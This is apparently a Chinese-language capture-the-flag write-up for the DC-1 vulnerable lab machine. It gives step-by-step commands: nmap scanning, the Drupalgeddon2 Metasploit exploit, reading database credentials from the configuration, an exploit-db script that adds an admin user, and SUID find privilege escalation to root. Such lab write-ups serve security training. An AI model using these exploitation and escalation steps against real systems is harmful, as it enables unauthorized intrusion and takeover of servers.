下载地址：https://www.five86.com/dc-1.html

将靶机DC-1与kali都以NAT模式连接网络

我们用netdiscover -r 192.168.188.0/24 扫描ip，得到靶机ip 192.168.188.156

则靶机DC-1 ip：192.168.188.156
攻击机kalilinux ip：192.168.188.144

使用nmap扫描

Namp -A 192.168.188.156

开放了22的ssh 80的http apache 111的 rpcbind等等。

80/tcp  open  http    Apache httpd 2.2.22 ((Debian))|_http-generator: Drupal 7 (http://drupal.org)| http-robots.txt: 36 disallowed entries (15 shown)| /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt|_http-server-header: Apache/2.2.22 (Debian)|_http-title: Welcome to Drupal Site | Drupal Site

访问80端口，查看CMS版本。

Server：Apache/2.2.22 (Debian)Vary：Accept-EncodingX-Generator ：Drupal 7 (http://drupal.org)X-Powered-By ：PHP/5.4.45-0+deb7u14

获取flag1

1.在msf中看看有没有Drupal 7的exp

使用exploit/unix/webapp/drupal_drupalgeddon2模块打，配置该模块。

Use exploit/unix/webapp/drupal_drupalgeddon2Show options //查看需要配置项

设置远程主机的IP为靶机的IP地址

set rhosts 192.168.188.156

开始利用

使用ls查看目录，拿到flag1.txt

获取flag2

看看flag文件，应该有提示信息。

按照提示信息，去看看它的配置文件。文件在sites/default/setting.php中
首先进入交互式shell：python -c 'import pty; pty.spawn("/bin/bash")' 。//ma耶成功了，注意大小写啊

使用cat setting.php命令打开，看到有数据库信息和flag2。

获取flag3

根据flag2中提示，我们使用数据库信息去进入数据库中拿后台的账号密码。
使用mysql -udbuser -p 输入密码R0ck3t登录mysql

mysql>use drupaldb;                # 使用drupaldb数据库mysql>show tables;                 # 查看数据库内的表

可以看到一个user的表

select语句查询，找到可用于登录的用户admin和密码密文。select * from users;

发现破解不了，我们去exploitdb中看看有没有攻击admin的脚本。

searchsploit drupal

在exploitdb中有一个针对Drupal 7版本的攻击脚本，可以增加一个admin权限的用户。

python exploits/php/webapps/34992.py -t 192.168.236.136 -u admin1 -p admin1 利用一下

使用admin1 admin1 登录后台 在Content中拿到flag3

获取flag4

根据flag3的信息我们知道

应该要查看shadow文件，并使用SUID命令提权。
使用以下命令可以发现系统上运行的所有SUID可执行文件。具体来说，命令将尝试查找具有root权限的SUID的文件。

find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \;

我们回到shell中使用find / -user root -perm -4000 -print 2>/dev/null，命令查找具有root权限的SUID的文件。

$ find / -user root -perm -4000 -print 2>/dev/nullfind / -user root -perm -4000 -print 2>/dev/null/bin/mount/bin/ping/bin/su/bin/ping6/bin/umount/usr/bin/chsh/usr/bin/passwd/usr/bin/newgrp/usr/bin/chfn/usr/bin/gpasswd/usr/bin/procmail/usr/bin/find/usr/sbin/exim4/usr/lib/pt_chown/usr/lib/openssh/ssh-keysign/usr/lib/eject/dmcrypt-get-device/usr/lib/dbus-1.0/dbus-daemon-launch-helper/sbin/mount.nfs

我们随便找一个命令进行利用，我们就找find，先查看其信息，发现其确实是root用户权限的SUID的文件

find . -exec /bin/sh ; -quit

拿到了root权限，查看shadow文件
发现flag4，并且flag4是一个用户，flag4用户密码可以使用ssh登录进行爆破，先不爆破。

使用root用户直接查找

find -name “flag4.txt” 命令拿到flag4.

获取flag5

使用find配合正则进行一个模糊搜索。
find * -name "*.txt" 搜索所有.txt的文件。

成功拿到flag5，thfinalflag.txt。